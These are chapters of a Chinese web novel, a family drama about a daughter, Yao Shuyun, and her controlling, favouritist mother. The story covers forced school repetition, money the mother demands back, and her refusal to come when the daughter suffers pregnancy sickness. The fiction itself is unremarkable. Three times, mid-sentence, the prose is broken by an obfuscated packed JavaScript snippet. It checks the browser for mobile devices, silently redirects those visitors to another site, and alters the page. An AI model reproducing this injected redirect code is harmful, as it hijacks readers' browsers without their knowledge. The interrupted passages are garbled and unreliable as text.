但她不想想那么多,一想起这些钱是自己辛苦工作挣出来的,闵佳荣不免一阵心疼。再说儿子还没结婚,白白把钱便宜给了二女儿姚舒云,这个注定结婚后就是别人家的人,那可真是太不值得了。 为此,她不得不暂时压下自己作为长姐、家族辈里的老大,一生崇尚亲生父亲的“厚道、敦义”,选择不向任何人透露,而只私下里悄悄跟姚舒云要钱,回本。 这件事过去了几年,闵佳荣再未跟其他人提过,而姚舒云也没有向任何人开口抱怨过,她原以为此事早已无声无息地过去了,甚至自己一度也快忘了这件事。 直到姚舒云的一句话,令她瞬间想起来。 闵佳荣不得不惶恐,要是被众亲友知道自己向亲生女儿要钱“回本”,那她的“厚道、敦义”还怎么保持?她还怎样拿出作为长姐、老大的气派来说教弟弟妹妹们? 因此,唯恐姚舒云在众目睽睽下说出这件事情。她赶紧噤了声。 —— 闵佳荣今天也过来参加外甥的升学宴,她住在其他城市,没法当天往返,因此只得住在二女儿姚舒云家里。 “妈,我咋感觉三姨和三姨夫好像有点不太高兴,姚波刚考上学,他们不是应该很高兴的吗?” 一回到家,姚舒云忍不住问母亲。 今天她总是感觉有些不太舒服,觉得三姨和三姨夫好像都有点针对她。 记得宴会开始前,她看到表弟姚波,记忆一下子穿回到小时候,那时候暑假她常去三姨家做客,小表弟总是跟在她后面,两人玩得十分亲近。 长大了生疏很多,也许是男女有别,也许是多年没见,总之打过招呼后,一下子没什么可聊得了。 姚舒云本也是个社恐人士,可她毕竟是当姐的呢,为了不让场面陷入尴尬地沉默,于是她主动攀谈起来,和他聊起高中生活并询问表弟报了哪个城市,什么专业。 当听说报的是计算机专业时,姚舒云脱口而出:“呀,我还以为你会报金融专业呢?之前听三姨夫说想让你报考金融专业,你咋没报呢?不喜欢吗还是分数不太够?” 表弟低头支支吾吾,姚舒云也没听清他在说什么,恰在这时,三姨夫手里拿着一瓶酒从桌子旁路过,他意味深长地看了姚舒云一眼,又看了看自己的儿子,没说什么话,走过去了。 姚舒云也没多想,继续问:“你是不是不太喜欢金融专业?听说这个专业要数学能力比较好学起来会更好些,其实我也不太懂,都是看网上说得。你报计算机也很好,男孩子大多都喜欢玩电脑……” 她巴拉巴拉说了一堆,表弟也没说什么,但三姨夫来回走过来几次,每次脸上的表情都很难看。 这让姚舒云有些怀疑是不是自己说错话了,但她很快又摇摇头,劝自己不要多想。大家都说她是个敏感的人,爱多想,她想改变这个坏习惯,想做个开朗大方的人。 可直到三姨,那貌似“无意”的一问,又貌似故作没听见最后一句话,只在听到姚舒云的肯定回答后,立刻转身离开,仿佛是逼迫姚舒云当众承认自己的愚笨与不堪……这,她不得不怀疑,到底是自己多想了,还是三姨原本就想要羞辱她? 可是,不应该啊。三姨为什么要羞辱自己?自己与她无冤无仇,难道是因为与表弟姚波谈话的内容,可姚舒云前前后后想了一遍,也没觉得自己说了什么不该说的话,她真的就只是闲聊两句。 左思右想,她决定问问母亲闵佳荣。 “没啥,主要还是因为房子的事儿,他们心里不太舒坦。” “房子?什么房子?我三姨他们也买房子了?”姚舒云很吃惊,她从没听说三姨家买房子的事儿。 随后,从母亲这里,姚舒云了解到三姨夫妇俩两年前共花费40多万,在汽车站附近买了套很小面积的商铺。 当时卖房的承诺即买即租,哪知仅支付了第一年的租金2万多后,就再也收不到钱了。为此三姨和三姨夫,同那些有相似遭遇的人一起,不停地上访,甚至还拉起横幅,未来不排除打官司的可能。 这些姚舒云都是第一次听说,很震惊,赶忙问:“那我三姨他们为啥不把房子卖了?这样不是可以少点损失吗?” 闵佳荣立刻没好气地冲她翻个白眼,呛声道:“那不是卖不掉吗?” 姚舒云这才觉得自己问了一个很傻帽的问题。 此时她还不知道,因为房子,她已成为众矢之的。 三姨家的房子要不来租金,面临赔本的风险,而她的房子却因为升值,而挣了钱。 两相对比之下,汹涌的恨意早已潜滋暗长。 可惜那时她还什么都不懂,日后这些苦果会等待她亲自一一尝遍。 “那姚波……” 姚舒云没再多问,那自然也不难理解,姚波考上学为啥三姨夫妇俩犯难,三本大学学费昂贵,三姨一家几乎把存款都投在那间商铺里。 自然没有再多余的钱支付学费,经济压力骤升。 闵佳荣看出了女儿姚舒云的欲言又止,说:“哼,当年为了供你上学,我几乎眼熬瞎,腰累断……你以后可得想着点。” 说完扭过脸去,一副受尽天下苦楚的模样。完全忘记当初是怎样逼迫姚舒云留级,又是怎样逼迫她选择自己不喜欢的专业和学校。 可是,能说什么呢? 不能说,什么都不能说,一说就是“你上了大学,好处都占尽了,还觉得自己委屈?” 那样所有人都会觉得她忘恩负义,是个不知道感恩的白眼狼。 姚舒云深深低下头,她不敢为自己辩驳一分一毫,她只是尽心竭力的感念母亲的辛苦付出。 父母恩情比天高、比山重,姚舒云必须将这恩情日日夜夜高悬头顶,不敢有一丝一毫的懈怠。 因此无论母亲在她面前怎样趾高气昂,说话鲜有好声调,她也决不能有一点不快。 可是这并不是她想要的结果啊! 当初她竭力哀求母亲不要读三本大学,她自知愚钝,也清楚家里对钱的看中,她不想让自己余生背负太多枷锁。 然而…… 结果非她所愿,却要她承受后果,而且必须要死心塌地的感恩。 母亲可以肆意地趾高气昂,可以说话非呛即怼,可以从来不给她任何一个好脸色,而姚舒云却只能,必须要感恩,要俯首陈臣,要跪拜谢恩。 她没能说服母亲。 浑浑噩噩复读一年,结果也只提升10几分,刚刚够本科线,最终听从家里人安排,在本省会读个三本。 来到那个学费昂贵的学校,姚舒云更加受罪,她衣着寒酸,性格别扭,还要承受母亲时不时地诉苦:“家里花销紧张,你自己省着点花。” 她很自卑,一是年龄大,二是贫困。为了弟弟不被欺负,她留级,为了能上高中,她留级,为了能有个上大学的孩子,她留级。 她生生地比同班同学大了好几岁。 然而真的上了大学后,却又不舍得花钱。一开始家里还愿意帮着交学费,后来便要她自己想办法出去挣钱。 凌晨三四点坐公交车赶去酒店里帮人家卖画,晚上七八点赶去家教,站在大街上发传单……她自卑、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404815|200449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愚钝,只能挣这些辛苦钱。然而与学费和生活费相比,实在太过微薄,因此她不得不一而再再而三地节衣缩食,寒贫度日。 人人都道上大学好,“象牙塔”、“学子梦”,一个个光辉的字眼。可是有时候姚舒云真觉得不如打工好,最起码她还能凭靠力气挣一份钱,吃饱穿暖,可以开心地笑,可以自由地生活。 她“拘禁”在这个表面本科实则仅是个“三本”的学校,内要承受母亲无时无刻地道德逼压,外要承受节衣缩食的贫苦。 尤其更让人绝望的是,她对所学专业一窍不通,那个专业要求有美术功底,可绘画于她而言不亚于天沟巨堑,她的绘画水平甚至不如一个一二年级的小学生…… 当初报考时是家里托人打听可以去哪儿上学,别人推荐了这个,父母就让她过来上…… 那四年姚舒云过得异常艰辛,不光是身体上,还有心理上。很多时候她很迷茫,想奋进,想努力,却毫无头绪,不知该怎么办。 也因为无法克制,蹉跎四年,一事无成,后来找工作也颇历尽一番辛苦,最后才终于在当前的这个小公司站住脚,当一个标准的社畜。 目前这份工作,其实除了有双休外,其他福利待遇很少。 可在父母亲戚眼里,姚舒云上过大学,理应就是要比旁人更有出息,理应就是要帮扶家庭、家人。 很多次父母话里话外的意思,就是要她以后主要承担两人的养老问题。 原本因为刚买完房要还房贷,手头拮据,母亲还稍微体谅点她和周豫林,现在好了,得知房子涨价,母亲对姚舒云给她做的一切都视为理所应当,甚至偶有一段时间没怎么买东西给她,母亲话里话外都透着不满意。 可即便自己节俭省出来钱,费心思给母亲挑选一些比较贵重的东西,她也不怎么当回事儿。 或许和那些亲戚们一样,母亲心里想得也是“你现在有钱有房了,买这点东西又算得了什么?” 姚舒云哭笑不得。 她发现自己的人生似乎总是这样,并不是自己想要的,却总是在不想要的路上走下去。 她也不知道为什么会这样。 “可上三本院校并非我的选择,”姚舒云失神地喃喃道:“你忘了吗,当初我很不想去上那么贵的学校,是你非逼我……” “哎呦,让你上学还上错了?”闵佳荣立刻转过脸来,对着姚舒云讥讽白眼。 她也是满心后悔,当年在外打工,但凡老乡群里有谁家孩子考上大学,那都是十分炫耀的事情。自家三个孩子,老大姚燕读不进去,一早就跟着出来打工。老三宝贝儿子,为他花费大量钱财,一路考不上就买,高中花了一万多送去最好的学校去,然而最终也没能考上大学。 只有老二姚舒云,学习还过得去,为此,闵佳荣狠心,一定让她读个本科,哪怕是三本也行。 她有自己的小算盘,花在姚舒云身上的钱,权且当做是暂时的投资,等大学毕业工作后,再找她一一要回来。 可没想到姚舒云上学时年龄太大,刚出来工作时工资低,等有经验了工资涨了时,又面临婚嫁,她同丈夫刚合资买了房,正是困难的时候,自己也没法再开口要。 不过万幸的是自己当年果断,趁她工作第二年刚稳定时,开口向她要钱回本。 虽说花在她身上的钱比回本多,但好歹也要回了点,没亏太多。 再说以后日子还长着呢,以后自己生病、住院、养老……可都指靠她。 这样一想,自己也不算亏太多。 闵佳荣心里这才稍稍平衡些,同时想着不能和姚舒云闹僵,但也绝不能给她什么好脸色。 “让我上学当然没错,可你有问过我的意愿吗?当初我说过三本学费昂贵,我不想去上,我知道花了你的钱,就会一辈子抬不起头,一辈子挺不起脊梁,所以我不想去上。可你有听过我的意见吗?” “呵呵,感情我让你上学反倒不对了?”闵佳荣只能抓住这一句话反驳。 她没法承认当年的确是自己逼迫姚舒云去上的大学,姚舒云的确很明确坚决地反对过,可她全没听进去过。 “父母让孩子上大学”,这是多么大的恩情啊,说到哪儿自己都占理,闵佳荣才不会去想过去的事儿呢。 “我说过了上学没错,错的是你不该独断,一点也不听我的意见。就像当年的留级一样,我竭力不想留,可你偏要让我留,一点都不尊重我的意愿。” “让你留级那是为了你好……” “是吗?”姚舒云抬起头,看向母亲,“是为了我好?还是为了你儿子好?”。 9. 孩子(1) 闵佳荣将脸扭过一旁,不再回答。反正这事儿走到哪儿她都占理,她才懒得去计较里面的细枝末节呢。 没住两天,便嚷嚷着家里有事要忙,需得赶紧回去。 姚舒云工作忙,还没来得及给她买礼品,便给了母亲500块钱,嘱咐她回去后买点自己需要的东西。 晚上,周豫林洗完澡后出来,看见妻子坐在床上,双膝抱腿,心事重重,开口问:“怎么了?愁眉不展,有什么烦心事儿吗?” “嗯,我……”姚舒云刚张口,却忽然又摇了摇头,心道,过去的事还说它干什么,缠缠绕绕理不清,也说不明白。 对对错错更没法计较,她总不能跟人说“母亲让我上大学,可我不喜欢”? 算了,谁也不会为她的过去买单,她也没法再回到年少。过去的一切都应该放下,向前看,往前走才是正理。 “哦,没什么。”姚舒云转口说,“哎,咱们啥时候要娃呀?” “怎么突然想到这个话题?有人催你了?” “可不嘛,前几天去我三姨家,她们都在问我,打算什么时候要孩子?还说咱们年龄也不小了,再不抓紧要可不行,现在很多不孕不育的。” 姚舒云扣着玩具熊的耳朵,有些茫然。和大多数年轻人一样,她喜欢孩子,却并不怎么想要孩子。 丈夫周豫林家境贫寒,母亲早逝,父亲年迈。 他们两人,一步一个脚印,好不容易在城市买房安家扎下根,手头紧张,要是再来个孩子……那好不容易轻松点的生活必然会再次艰辛。 但三姨她们说得也有道理,自己年纪确实也不小了,再过两年就30了,到那时候再怀孕、生产……恐怕会更难。 左思右想,怎么样好像都很难,姚舒云越来越觉得头大。 “嗨呀,你呀,瞎操心。”周豫林点点妻子的鼻子,“想太多了。咱们刚结婚不久,不着急。” 姚舒云一下子坐起来,说:“本来我也不急,可今天我妈临走时也在催,我就有点着急了。咱们年龄也确实不小了……” 周豫林点点头,觉得妻子说得有些道理,可转念一想,觉得现在还不是时候,这些年,他们过得太辛苦,好不容易婚后能稍微喘口气,暂时他还不想被孩子的琐事儿烦心。 “要么,咱们再等等。不急。” “万一,我是说万一啊,因为我年龄大,生不了的话,咋办?” 周豫林搂住妻子的肩膀,笑笑说:“别说这只是万分之一的可能,即便是真的,又有什么关系?比起孩子,我更在乎你,你才是能跟我相伴走一生的人。” “哟,你铁树开花啦?说得这么动听,我都感动得快哭啦!”姚舒云夸张地假模假样擦眼泪,心里却暖呼呼的。 其实不用丈夫说,姚舒云也知道他的心思,他是太想要家庭的温暖和片刻的温存了。 他家境不好,当初家人极力反对两人恋情。 为了让他们放心,也为了让他们看到自己的诚意,这些年周豫林一直兢兢业业工作,空暇时间也不闲着,私下接朋友的项目来做,万般辛苦从不放心上。只为能多赚点钱,买一套像样的房子,体体面面地迎娶姚舒云。 好不容易两人东攒西凑了20万,终于在J市三环边买了一套期房。 等到期房交付,接着是装修,因为周豫林在周边大城市上班,所以装修的任务只能落在姚舒云身上。 那段时间,她一边忙工作一边盯装修,上一秒还在办公室里紧张地备方案,下一秒装修工人打来电话,缺某个零部件,她只得叫车匆匆忙忙赶去批发市场买东西,等东西送到后再赶紧打车回公司…… 这是两人第一次买房子,也是他们未来的家,因此十分用心,凡事亲力亲为,有一点不满意都要返工再做。那一段时间,但凡能挤出点时间都花在房子里面了。 装修很多坑,他们各自家里人也都没有买房装修的经验,因此俩人几乎等同于瞎子过河,一步走一步蹚,踩了很多坑,和装修工人打交道周旋也令他们十分心累。 那时候他们不懂找装修公司,就是懂也没钱找。 付完首付后手里空空如也,可装修迫在眉睫,因此每月发了工资,除了留下必须的房租和生活费,周豫林把所有的余额全部转给姚舒云,由姚舒云支付材料费、装修费、人工费等等。 几乎是一边发工资,一边推进装修进度,他们就像一个全力赛跑的人一样,一刻也不敢停下来,也不能停下来,否则,岂不是要前功尽弃。 母亲闵佳荣十分保守刻板,明里暗里警示敲打两人,没结婚前绝对不允许有逾规之举。因此,为了不让母亲伤心,相恋多年,姚舒云和周豫林之间一直恪守周公之礼,直到结婚,他们才正式在一起。 对于一个血气方刚的年轻男人来说,能忍到最后,也很不容易,因此姚舒云十分体谅他想要多一点二人世界的心思。 “那就……顺其自然吧。不着急要,也不着急不要。若是缘分到了,孩子也许自然就会来了。”姚舒云宽慰自己,也安慰丈夫。 不曾想,孩子很快就来了。 姚舒云发现月经迟迟不来,她半是疑惑地问丈夫,半是去买来验孕试纸。 当亲眼看到纸上的两条杠时,她内心“突突突”跳个不停。 “孩子,孩子……我要有孩子了?”那一刻,姚舒云内心既慌张又喜悦,她没想到孩子会这么快来,自己马上就要当妈妈了。 一想到即将孕育一条新生命,姚舒云的心简直都要融化了。 她已不是年幼时初来例假都会慌张不已的小孩儿,她长大了,自然也从容许多。 她将这个喜讯告诉了姐姐姚燕,她知道姐姐有什么话都会跟母亲说,果不其然,很快母亲闵佳荣就打来电话。 “听说你有了?” “嗯,是的。”姚舒云有些不好意思,又有些开心地说道。初为人母的喜悦让她很快便忘记了先前和母亲之间的龃龉。 “哦,那你好好注意休息,多吃点有营养的东西。自己煲点汤,弄点好吃的。”闵佳荣关怀地嘱咐道。 挂了电话,姚舒云握着手机,忽然想起另一件事。 母亲现在回老家盖房子了。 那三间泥坯房,她住了十几年,怕了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404816|200449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十几年。 当年在老家上学,家里是三间泥坯房,其中一间房还裂了个大缝,人住在里面,时常担心房子会不会突然倒塌了。 姚舒云跟母亲建议过很多次,希望她能把老家的房子翻修一下,倒不是姚舒云爱慕虚荣,无理取闹。 实在是住在里面很不安全,更重要的一个原因是,她长大了,面对家中倒塌半边的院墙和轻轻一推便会打开的房门,姚舒云睡在里面时常感到心惊胆战。 天知道,万一要是有什么不怀好意的人抹黑溜进来,那后果……她感到脊背发凉。 然而母亲闵佳荣却呵斥她不顾家庭实际情况,所谓的翻修房子纯粹就是她爱慕虚荣的借口。 姚舒云倍感无奈,她,一个正值妙龄花季的女孩儿,相比较于虚无的爱慕虚荣,安全问题更让她重视。 为此她不惜拉下脸面反复跟母亲闵佳荣建议,想让她将老家房子修缮一下,当时父母已外出打工多年,手里有钱,所以姚舒云并非像她所说,不考虑家庭情况,无理取闹。 可惜,结果未能如愿。 正如当年留级一事,或者正如任何一件她所祈求母亲的事情那样,她提的要求从未被正视,更惶谈得到满足。 后来偶然得知,几乎是同一时间,父母花了一大笔钱给弟弟矫正牙齿。 没错,翻修房子是姚舒云爱慕虚荣,不想住破房子,是不考虑家庭实际情况而无理取闹。 而给儿子矫正牙齿,是天经地义。尽管那口牙齿,要花费小两万块钱,而两万块钱,当时可以盖三间房子。 是的,相较于儿子的形象来说,女儿的安全问题一点都不值得考虑。 当姚舒云听闻母亲回老家盖房子时,很震惊,打电话求证后,说:“当年我们在家上学时,你不盖,现在大家都在外面打工,没人住了,你反而回去盖。” “谁说没人住啊?我老了回去住,又不能在外打工一辈子。” “那何不就住原来的老房子,还盖干嘛?多花钱啊。” “老房子裂了个大缝,刮风下雨的很不安全,院墙也倒塌了大半,没法住……” “哦,你也知道不安全啊,你也知道没法住吗?当年我跟你说不安全,你非说我爱慕虚荣,想住好房子?怎么到了你自己,就不是爱慕虚荣,就不是贪图住好房子了?” 姚舒云也不知道自己为何忽然变得唇齿犀利,似乎在发泄心中多年前就积压的不满,只是她并未察觉。 继而自言自语道:“你知不知道,当年我住在里面有多害怕。我一个小姑娘,家里院墙塌了,房门关不上,深更半夜里,万一要是有什么不怀好意的人溜进来……” “你不是也没咋吗!”闵佳荣反声呛道,很是不满姚舒云的指摘。 “难道非要我咋了,出点儿什么事儿才好吗?”姚舒云哭笑不得。 “好了!行了!别说了!”闵佳荣果决地挂断电话。 她不想面对姚舒云的问题,更觉得她是在无病呻/吟。 为了盖这房子,她跟隔壁家发生了好几次摩擦,心里本就窝火,面对姚舒云的问话,更是难掩烦躁。 10. 孩子(2) 事到如今,她也后悔,要是当年盖房子,至多三两万块钱,就能盖几间大房子。 可现在,沙子、砖头、水泥……所有原材料统统涨价,不光如此,人工费更是贵得离谱。 闵佳荣只在心里悄悄算个大概,就心疼得咂舌。 这一下子势必要花出去大笔的钱。 可她不能不盖,要不然就落人后了。 前面妯娌家,在外跑计划生育多年,生了多个孩子,穷得叮当响,最近却闷声不响地盖起了前3间后3间、中间连起大院墙,方方正正的6间大房子。 虽说算不上多么气派,可毕竟是一处宽敞明亮的大宅子,过年一大家子人回老家,热热闹闹的,着实让人眼馋。 尤其是想到二女儿姚舒云之前无意间说过的一句话,更坚定了闵佳荣要盖房子的决心,她说“自己这辈子都没住过这么好的房子”。 “她没住过,难道我就住过吗?” 闵佳荣越想越气愤,一想到自己50多了,还住在租来的房子里,不像二女儿,可以住那么宽敞明亮的大房子,闵佳荣就觉得愤懑难平。 更让她难受的是,自家老宅子旁原本是一处空地,不知什么时候被别人盖上了房子,现在自己再来盖房子,总感觉处处受限。 她一辈子好强,怎肯落于人后,所以这房子,不管花多少钱,她都必须得盖,而且还要盖得很好。 —— “呕……” 姚舒云捂住嘴巴,赶紧冲进卫生间,可还是晚了一步,泛黄的黏液从她手指缝里流出来,将胸前的衣服打湿。 她蹲在卫生间整整半个多小时,直到再也吐不出任何东西,才用水将脸上手上的污秽清洗干净。 抬头看向镜子,发现由于呕吐用力太猛,导致整个眼球憋胀布满红血丝,配上一张惨白至极的脸,再加上一头凌乱的被汗湿的头发,无比凄惨,像极了凄惨的野鬼。 她算是彻底领教了孕吐的威力,从前怎么也想不到孕吐会是如此的痛苦,每一次恶心感袭来,胃里都会翻江倒海,继而像泥石流过境一般,将胃肠、食管、喉咙,统统腐蚀一遍。 整个喉咙像是被硫酸焚烧过一样,针刺般地、火辣辣地痛。眼下她直挺挺地躺在沙发上,喉咙肿胀,发出老牛般粗重的喘息声。 姚舒云现在连一口水都不敢轻易喝下,唯恐胃里翻腾,让自己生不如死。 可即便如此,她也阻止不了无处不在的,令自己恶心的东西,比如气味。 她家住7楼,可楼下1楼下水道里的气味,穿过井盖,竟被一阵风精准地送进她鼻腔里…… 紧接着,一发不可收拾…… 她差点把肠子吐出来。 躺在沙发上,任由眼泪落下,此刻她嗓子肿痛,什么话也说不出来,命悬一线,纯靠一口气吊着。 丈夫周豫林这个周末公司上线新产品,必须得加班,所以他没能赶回来。 望着偌大的房子空空荡荡,一时间,姚舒云感觉非常难受。 她身上动不了,只能将头侧向一边,望着窗外被风不断吹动的树叶,这时候,她特别想念母亲。 是的,她想妈妈了。 那是生自己、养自己的母亲,她天生地亲她、爱她,即便曾经有过许多对母亲的不满,可在这一刻,她还是不由自主地对母亲心生向往和爱恋。 这是孩子的本能,即便这一刻,她肚子里有了新生命,她即将成为妈妈。可即便当了妈妈,她也还是自己妈妈的孩子,她想要妈妈的陪伴与关爱。 艰难起身,姚舒云一步一步挪到厨房,将刚才自己做饭时落在那边的手机拿过来。 拨通母电话,“喂……”,一出口,便是嘶哑粗噶的嗓音,连带着眼泪一股脑儿悉数滚下。 “怎么了?” “妈,你……你房子盖得怎么样了?” “地基都打完了,框架也都搭起来了,后面该走水电和铺瓷砖了。” “哦,那盖得差不多了。” “还不行。老家的建筑施工队得排队等着,还有沙子、水泥这些原材料也得等,轮到了才能给送。在老家不像在外面,给钱就有人来做。老家人少,干啥都得排队等着。” 闵佳荣知道姚舒云现在怀孕,唯恐她会叫自己回去照看,因此刻意说得盖房时间要拖很长。 姚舒云并未意会到母亲的意思,她此刻满腹的心酸委屈,哽咽着叫了声“妈”,随后便哭泣不止,“我,我现在特别难受,嗓子就跟被刀片刮了一样,特别疼、特别难受。你听我声音,‘咳咳’。” 像是担心母亲不信,姚舒云特意咳了两声,好叫母亲听出自己嗓音的粗哑,好知道自己没有撒谎,更没有夸大其词,“我现在躺在沙发上,动也动不了……嗓子火辣辣地疼……气都出不来……憋得很难受……特别难受……” 紧接着,她便再也控制不住,呜呜痛哭起来,“妈……你能不能回来照顾我几天……我快死了,我真的快死了,呜呜呜……” 她一个劲儿地哭,止也止不住,她也不知道为什么平时自己挺独立坚强的一个人,怎么突然就变得这么感性脆弱? 直到有十来分钟,流下的眼泪将沙发垫子打湿一大片,她才堪堪止住哭声。 “妈,你回来几天吧,这孕吐实在太难受了,我真的快撑不住了。”姚舒云边抽噎边向母亲祈求。 “豫林呢?他咋没在家?你怀孕这么难受,他咋不陪着?”闵佳荣厉声喝问。 “他回来过,昨天晚上赶回来过,但是公司里有项目要上线,所有员工都要守在公司,他一早又被叫回去了。”姚舒云用手揉搓嗓子脖颈,耐心地解释。 紧接着又忍不住大咳几声,好叫嗓子舒服些,能继续和母亲说话。 “妈,你回来陪我几天吧,等孕吐过去了,你再回去,行不行?你放心,来回车票我帮你买……” “不是那样说的。不是钱不钱的事儿,我,我现在走不开……”闵佳荣声音扭捏道。 “咋走不开啊?妈,”姚舒云急得一下子从沙发上坐起来,立刻感到头晕目眩,她赶紧往后一些,靠躺在沙发垫上,“妈,你刚还不是说沙子、水泥、施工队啥的都要等吗?家里房子的大框架都盖好了,又没啥别的事儿。梦梦现在又不上学,她得等到明年下半年才上幼儿园,所以你在家没啥事儿啊!” 当听到母亲说“走不开”时,姚舒云内心满是失落,可她不甘心,自从工作后,自己对母亲虽说不算好,可也绝不差,她真的是竭尽所能地对待母亲。 她没想过要任何回报,毕竟她是做女儿的,孝敬母亲是天经地义,她也从没向母亲提过什么别的要求,唯有今天,孕吐实在痛苦,实在是撑不下去了,她才给母亲打电话,想要母亲过来照顾几天。 可,说是照顾,其实不过是陪伴而已。对于一个孕吐极其厉害的孕妇来说,自己根本吃不下任何东西,所以她仅仅是想要母亲陪在身边。 这是头胎,除了孕吐之苦外,姚舒云内心更有一份对怀孕生产,以及之后抚育新生命的恐惧和担忧。 她觉得自己的要求不算过分,母亲现在有时间、有精力,她想不出母亲有什么理由拒绝。 于是,忍不住开口再次祈求:“妈,你就来几天吧,就今天。我真的是……不到万不得已,不会向你开口……” “哼,我之前就说过‘没婆婆的人家不能嫁’,你非不听我的。周豫林他妈死得早,家里没个婆婆,看看,现在日子有多难过?”闵佳荣一边说,一边不屑地哼哼,语气里俨然还有一副“都怪你当初不听我的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404817|200449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话,所以今天才这么难”地责骂。 “活该”两个字,就差说出口了。 姚舒云一愣,心中满是疑惑,她下意识地问:“这跟婆婆有什么关系?!” 她想要的是母亲的陪伴啊! “当然有关系啊!”闵佳荣不禁斥责道:“要是有个婆婆,最起码这会儿难受的时候她能给你端茶倒水做个饭,你也不至于没人照顾。” “我……”姚舒云哑口,不知该说些什么。 一见姚舒云无话可说,闵佳荣立刻来了精神,“哼,当初你死活不听我的,非要跟周豫林在一起,现在好了吧,哼,没个婆婆,看你日子过得有多难!” 姚舒云几乎可以想见,电话那头,母亲的白眼恐怕要翻上天去,而且她说话的时候嘴角一定是紧紧地抿住且往下拉扯,以示内心的不屑和不满。 这个时候姚舒云脑中忽然由混沌变得清明,原本心中无尽的痛苦、思念和委屈,忽然一下子都消失不见。 她像是后知后觉般地,疑惑自己怎么会突然给母亲打了这个电话? 见姚舒云久未发声,许是觉得自己话术上终于拿捏住她,闵佳荣继续说道:“我就说不能嫁没婆婆的,现在知道了吧?要是你当初听我的……” “凭良心说,周豫林除了没妈,没哪点对不住我吧?”此刻再开口,姚舒云语气中全然不见先前对母亲的祈求和依恋,而是冷静和理智。 “我现在孕吐难受,想要你过来,也仅仅是想要你陪伴几天而已,并不是没人照顾要你来伺候我。”深吸一口气后,姚舒云接着说:“你现在有空闲时间,我并不是在你需要忙着盖房子的时候让你过来,所以这个要求不算过分吧?” “那,那……”闵佳荣支吾两句,含混不清,之后不再说话。 电话筒里,母女两人各自沉默。 禁不住喉咙痒痛,姚舒云忍不住咳了一阵,稍后她深深吸一口气,问:“妈,我最后再问一次,你能过来吗?” “哎呀,孕吐就是难受,但是其实没多长时间就过去了,你等这几天过去,就会好很多。” “你能来吗?” “我,我过不去……” “那好,你忙吧。挂了。” 挂断电话,姚舒云无比后悔自责,自己为什么要打这个电话?!! 斜坐在沙发靠垫上,转头看向窗外,风依然在不断地吹动树叶,左右摇摆,同先前的景致并无差别。 可此时她的脸上却看不到任何表情,先前的痛苦、委屈和期待,全被一通电话荡涤一空,徒留心底的是一份平静、茫然、还有失落。甚至还带着一股习以为常地淡然。 “早该如此。我早该预料到的。” 姚舒云喃喃自语,她牵动嘴角,不自觉笑了一下,“我怎么会那么天真,幻想她会过来?其实细细回想过去,我想要她做的,她从来都不会答应。” 不管是当初自己竭力不想要留级,还是心心念念想要她将老家房子翻修一下,亦或是哪怕仅仅只是一件衣服,她想要的,想要母亲做的,不管再怎么哭求,母亲从来都是置之不理。 她不知道为什么,也不明白母亲为什么就从不肯正视她的需求。 很多时候,她都在反思,是不是自己要求太过分了,令母亲为难,或者是令家里为难。 自己不该提什么需求的,的确,她也很少有自己的要求,总是习惯性地接受,好与不好,似乎都没什么要紧。 姚舒云自认是个独立的人,从不会轻易依赖别人,更不会麻烦别人,她习惯独自承受,鲜少有情感外露的时候。 今天,是个意外。 她将这归咎于孕初期身体激素的强烈变化。 “原谅我吧。”她想。随后心无波澜,在沙发上沉沉睡去。 11. 孩子(3) “哎,你知道咱妈跟她隔壁家吵架的事儿吗?”姐姐姚燕打来电话。 “不知道,没听说过。” 自从孕吐的那通电话挂断后,有很长一段时间,姚舒云和母亲闵佳荣都没再打过电话。 她们很有默契地,心照不宣地,彼此不联系。 “哦,我知道了,你肯定是因为孕吐让她来照顾,她没来,所以才没联系?”姚燕似乎恍然大悟,接着说:“你呀,自己当初找个没婆婆的男朋友,现在又怪咱妈不来照顾你?哼哼……” “我,我怎么就怪……”本来心里挺平静,姐姐姚燕的话一出口,姚舒云心里顿时一团火起,奈何她现在挺着大肚子,实在不宜生气。 于是只得耐着性子解释道:“我当时孕吐太难受,感情比较脆弱,想妈了,所以想让她过来陪伴两天。当时家里房子大框架都弄好了,不需要她在那里忙什么,她有时间过来,而且梦梦还没上幼儿园,这个要求不算过分吧?” “咦,你说得怪好听,还不就是没人照顾你,想让她来伺候你?”姚燕一副了然的语气。 “行吧,随你怎么说吧。”姚舒云实在懒得跟她争执,也不想再做任何解释。 姐妹俩匆忙结束了这场通话,颇有一些不欢而散的意味。 及至深秋初冬时,闵佳荣终于打来电话,说她要回来了。 